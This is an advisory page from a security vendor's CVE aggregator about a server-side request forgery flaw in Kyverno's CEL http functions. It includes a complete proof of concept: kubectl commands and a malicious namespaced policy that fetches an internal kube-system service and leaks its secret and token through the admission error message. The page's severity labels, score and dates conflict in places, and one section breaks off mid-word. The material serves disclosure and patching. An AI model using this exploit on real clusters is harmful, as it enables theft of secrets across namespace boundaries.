Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-4789 — kyverno

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-918 OSV
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (pkg/cel/libs/http/) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.

Affected Versions

  • Kyverno >= 1.16.0 (with policies.kyverno.io CRDs enabled, which is the default)
  • Tested on: Kyverno v1.16.2 (Helm chart 3.6.2)

Details

The http.Get() and http.Post() functions available in CEL-based policies (policies.kyverno.io API group) do not enforce any URL restrictions. Unlike resource.Lib which enforces namespace boundaries for namespaced policies, the http.Lib allows unrestricted access to any URL.

Vulnerable Code: pkg/cel/libs/http/http.go

```go

func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {

req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil)

// NO URL VALIDATION - no blocklist, no namespace restrictions

...

}

```

Contrast with resource.Lib which enforces namespace:

```go

// pkg/cel/libs/resource/lib.go

func Lib(namespace string, v *version.Version) cel.EnvOption {

return cel.Lib(&lib{namespace: namespace, version: v}) // Namespace enforced

}

```

This is a different code path from previously reported issues:

  • GHSA-8p9x-46gm-qfx2: pkg/engine/apicall/apiCall.go (URLPath) - Fixed
  • GHSA-459x-q9hg-4gpq: pkg/engine/apicall/executor.go (Service.URL) - Different feature (apiCall vs CEL http)
  • This issue: pkg/cel/libs/http/http.go (CEL http.Get/http.Post) - Not fixed

PoC

Tested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind).

A complete automated PoC script is attached. Manual steps below:

1. Setup attacker with namespace-scoped permissions

```bash

kubectl create namespace attacker-ns

kubectl create serviceaccount namespace-admin -n attacker-ns

cat <<EOF | kubectl apply -f -

apiVersion: rbac.authorization.k8s.io/v1

kind: Role

metadata:

name: namespace-admin-role

namespace: attacker-ns

rules:

  • apiGroups: [""]

resources: ["configmaps"]

verbs: ["create", "get", "list"]

  • apiGroups: ["policies.kyverno.io"]

resources: ["namespacedvalidatingpolicies"]

verbs: ["create", "get", "list"]

apiVersion: rbac.authorization.k8s.io/v1

kind: RoleBinding

metadata:

name: namespace-admin-binding

namespace: attacker-ns

subjects:

  • kind: ServiceAccount

name: namespace-admin

namespace: attacker-ns

roleRef:

kind: Role

name: namespace-admin-role

apiGroup: rbac.authorization.k8s.io

EOF

```

2. Create sensitive internal service (simulating internal API or cloud metadata)

```bash

cat <<EOF | kubectl apply -f -

apiVersion: v1

kind: Pod

metadata:

name: internal-api

namespace: kube-system

labels:

app: internal-api

spec:

containers:

  • name: server

image: hashicorp/http-echo

args:

  • "-text={\"secret\": \"STOLEN_INTERNAL_SECRET_12345\", \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"}"
  • "-listen=:8080"

apiVersion: v1

kind: Service

metadata:

name: internal-api

namespace: kube-system

spec:

selector:

app: internal-api

ports:

  • port: 80

targetPort: 8080

EOF

```

3. Verify attacker cannot access kube-system directly

```bash

kubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin

# Output: no

```

4. Create malicious NamespacedValidatingPolicy (as attacker)

```bash

cat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f -

apiVersion: policies.kyverno.io/v1beta1

kind: NamespacedValidatingPolicy

metadata:

name: cel-ssrf-poc

namespace: attacker-ns

spec:

matchConstraints:

resourceRules:

  • apiGroups: [""]

apiVersions: ["v1"]

operations: ["CREATE"]

resources: ["configmaps"]

variables:

  • name: stolenData

expression: |

http.Get('http://internal-api.kube-system.svc.cluster.local')

validations:

  • expression: "false"

message: "Validation failed"

messageExpression: |

'SSRF_LEAKED: secret=' + variables.stolenData['secret'] + ' token=' + variables.stolenData['token']

EOF

```

5. Trigger exploit and exfiltrate data

```bash

kubectl create configmap trigger --from-literal=x=y -n attacker-ns \

--as=system:serviceaccount:attacker-ns:namespace-admin

```

6. Result - Secret data exfiltrated

```

error: failed to create configmap: admission webhook "nvpol.validate.kyverno.svc-fail"

denied the request: Policy cel-ssrf-poc failed:

SSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

```

Impact

1. Cross-namespace data access: Users with only namespace-scoped p

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2026-4789 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.

Affected software

CVE-2026-4789 is recorded against 2 packages.

  • github.com/kyverno/kyverno
  • kyverno

Timeline and source

Published on 14 April 2026 and last revised on 25 June 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
www.kb.cert.org (Web)

Other advisories for this package

github.com/kyverno/kyverno has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-918: Server-Side Request Forgery (SSRF)) in other software:

Details

Severity HIGH
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
CWE CWE-918
Public Exploit ✅ No
Source OSV
Published 2026-04-14
Updated 2026-08-20
Modified 2026-06-25

Affected Packages

Software From version Fixed in
github.com/kyverno/kyverno
kyverno

Similar Threats

Exploit Protection

Are you running kyverno?

CVE-2026-4789 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-4789 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026